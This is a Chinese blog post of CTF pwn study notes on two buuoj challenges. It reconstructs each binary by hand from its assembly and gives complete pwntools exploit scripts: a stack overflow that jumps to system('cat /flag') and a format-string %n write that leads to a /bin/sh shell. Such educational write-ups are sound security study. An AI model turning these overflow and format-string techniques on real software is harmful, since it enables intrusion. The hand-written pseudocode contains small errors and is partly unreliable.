首页 > 其他分享 >pwn刷题笔记

pwn刷题笔记

时间:2023-04-04 09:46:46浏览次数:37  
标签:int 笔记 var 地址 反汇编 pwn dword payload 刷题

做几道pwn题,不使用ida的反汇编功能。

 

buuoj:ciscn_2019_n_1

检查保护机制,只开启了数据段不可执行

  

 ida查看main函数汇编代码

  

 根据汇编代码写出main函数的反汇编代码

setvbuf(cs:__bss_start, 0, 2, 0);
servbuf(cs:stdin@@GLIBC_2_2_5, 0, 2, 0);
func();
return;

关键函数func

  

其中cs:dword_4007F4的值为

  

 因此func函数对应的反汇编代码为

func(){
    byte   var_30[44]      //字节型,char
    dword  var_4      //双字型,4字节浮点数,float
   var_4 = 0
 
    put("Let's guess the number.");
    gets(var_30);
    if(var_4 = 0x41348000)
        system("cat /flag");
    else
        loc_4006CF();
}

loc_4006CF(){
   puts("Its value should be 11.28125")
}

记录学习到的指令和寄存器:

  xmm:它们是 128 位宽,指令可以将它们视为 64、32(整数和浮点)、16 或 8 位(仅限整数)值的数组

  movss:移动单精度浮点数

    ucomiss:浮点数比较。改变寄存器ZF/PF/CF的值,表示大于/小于/等于

  pxor:按位异或

 

由汇编指令可知可控制的字符串var_30距离ebp为0x30字节,则距离返回地址为(0x30+8)。又知system("cat /flag")的执行地址为0x4006BE。

pwntool构造payload

#!/usr/bin/env python3

from pwn import *

p = remote("node4.buuoj.cn", 27953)
payload = b"a" * (48 + 8) + p64(0x4006BE)
p.sendline(payload)
p.interactive()

成功获得flag

  

 

 

 

[第五空间2019 决赛]PWN5

查看保护,开启了canary,说明不能用覆盖返回地址的方式执行代码。

  

ida查看汇编代码。

      

  

  

  

 挺长的,试试手搓反汇编

main(int x)        //执行push ebp之前,取出栈顶指针高四字节的栈元素,应该是main函数的参数
int fd
char nptr[16]
char buf[100]
int    var_c
int anonymous_0[2]      //对比ida反汇编,这里应该是int指针

sub_8049130();  //这个函数只执行了一条指令mov ebx,[esp+0],把当前栈顶指针的值赋给ebx,ebx用于在内存单元寻址
    
var_c = 0x14;
_setvbuf(,0,2,0);
int seed = time(0);
_srand(seed);
fd = _open("/dev/urandom",0);
_read(fd, &dword_804C044, 4);     //随机生成一个数放在内存&dword_804C044中
_printf("your name"); 
_read(0,buf,0x63);    //获取输入 _printf("Hello,");
printf(buf); //危险函数,可构造格式化字符串泄漏内存地址 printf("your passwd"); _read(0,nptr,0x0F);    //获取输入 if(_atoi(nptr) == &dword_804C044){  //判断输入是否与内存中804C044这个地址的数据相等    _puts("ok!!"); _system("/bin/sh"); } else{    _puts("fail"); } if(0x14 ^ var_c = 0)   return else   sub_80493D0() //与sub_8049130()类似   return

与ida反汇编对比。没有分析出int *v7这个指针。

  

分析:利用第一个输入,输入格式化字符串修改地址804C044的数据。再通过第二个输入,输入修改后的值

首先查看输入的字符串是printf()函数格式化字符串之后的第几个参数

 数出来是第十个

 

  验证是否正确

 

 构造payload修改地址中的数据

#!/usr/bin/env python3

from pwn import *
p = remote("node4.buuoj.cn", 29470)
payload = p32(0x804C044) + b'%10$n'         //'%10$n',表示把格式化字符串后第十个参数的数据当做地址,并把前面已经输出的字符数写入这个地址
p.sendlineafter("your name:", payload)
p.recvuntil("passwd:")
p.sendline("4")                   //'%10$n'前输出了b'0804C044'共四个字节,即字符数等于4
p.interactive()

 成功打通

  

 

标签:int,笔记,var,地址,反汇编,pwn,dword,payload,刷题
From: https://www.cnblogs.com/jimmy-hwang/p/17284092.html

相关文章

  • React Native学习笔记(三)—— 组件
    一、ReactNative项目1.1、创建ReactNative项目ReactNative有一个内置的命令行界面,你可以用它来生成一个新项目。您可以使用Node.js附带的访问它,而无需全局安装任何内容。让我们创建一个名为“AwesomeProject”的新ReactNative项目:npxnpxreact-native@latestinitAw......
  • java笔记(this,super,override,instanceof,static)
    super关键字的一些注意事项子类在执行构造方法时,如果显式使用super()显式调用父类构造方法,则该调用必须放代码块在第一行super必须出现在子类的方法或者构造方法中使用this()显示调用构造方法,则该调用必须放在代码块第一行由于第一条和第三条限制,super和this不能同时调用构造......
  • Online Continual Learning with Maximally Interfered Retrieval---阅读笔记
    OnlineContinualLearningwithMaximallyInterferedRetrieval---阅读笔记摘要:本文主要提出了一种可控的样本采集策略的重放方法。我们检索受干扰最大的样本,即它们的预测将受到预测参数更新的最大负面影响。1Introduction人工神经网络在完成个体狭窄任务方面的性能已经超......
  • 02142数据结构导论复习笔记
    第一章概论概论⭐⭐数据结构:计算机组织数据和存储数据的方式。数据结构:指一组相互之间存在一种或多种特定关系的数据的组织方式和它们在计算机内的存储方式,以及定义在该组数据上的一组操作。引言⭐⭐算法+数据结构=程序数据、数据元素和数据项⭐⭐⭐数据:所有被计......
  • Flask学习笔记(2)--最简单的小应用
    Flask学习笔记(2)--最简单的小应用 新建一个flask项目,第一个小程序,我们来看一下fromflaskimportFlaskapp=Flask(__name__)@app.route('/')defhello_world():return'HelloWorld!'if__name__=='__main__':app.run() 1、引入flask类2、将Flask对象......
  • Flask 学习笔记(1)--环境安装
    Flask学习笔记(1)--环境安装Flask官网:http://flask.pocoo.org/Flask文档:http://docs.jinkan.org/docs/flask/0x01安装方式A、第一种安装步骤很简单,就是这个样子安装python安装flaskpipinstallflaskB、第二种:虚拟环境D:\test>pipinstallvirtualenv#安装vir......
  • Webgoat学习笔记
    Webgoat学习笔记Webgoat分为简单版和开发版,具体版本及安装方法详见:https://github.com/WebGoat/WebGoat本机环境为:Windows+Tomcat,故下载war包,自动解压缩进行部署。war下载地址:https://github.com/WebGoat/WebGoat/releases/    参考链接:Webgoat学习笔记:http://www.tui......
  • Django笔记十五之in查询及date日期相关过滤操作
    这一篇介绍关于范围,日期的筛选inrangedateyearweekweekdayquarterhour1、inin对应于MySQL中的in操作,可以接受数组、元组等类型数据作为参数:Blog.objects.filter(id__in=[1,2,3])对应的SQL是:select*fromblog_blogwhereidin(1,2,3);字符串也可以作......
  • 笔记十五:gitlab-自建代码托管平台
    一:学习内容gitlab简介gitlab安装说明gitlab登录gitlab创建远程库idea集成gitlab 二:gitlab简介GitLab是由GitLabInc.开发,使用MIT许可证的基于网络的Git仓库管理工具,且具有wiki和issue跟踪功能,使用Git作为代码管理工具,并在此基础上搭建起来的web服务。gitlab官方网址:htt......
  • Golang基本语法笔记
    数据类型整型取值范围varnint8n=100fmt.Println(n)//100没有问题//如果赋值为200则不行因为int8取值范围最大是127字符串 v1:='A'v2:="A" //单引号存储的是ASCII编码//A的ASCII值=65//B的ASCII值B=66//a的ASCII值a=97 fmt.Printf("v1的类型是%T,%d,值为%s\n"......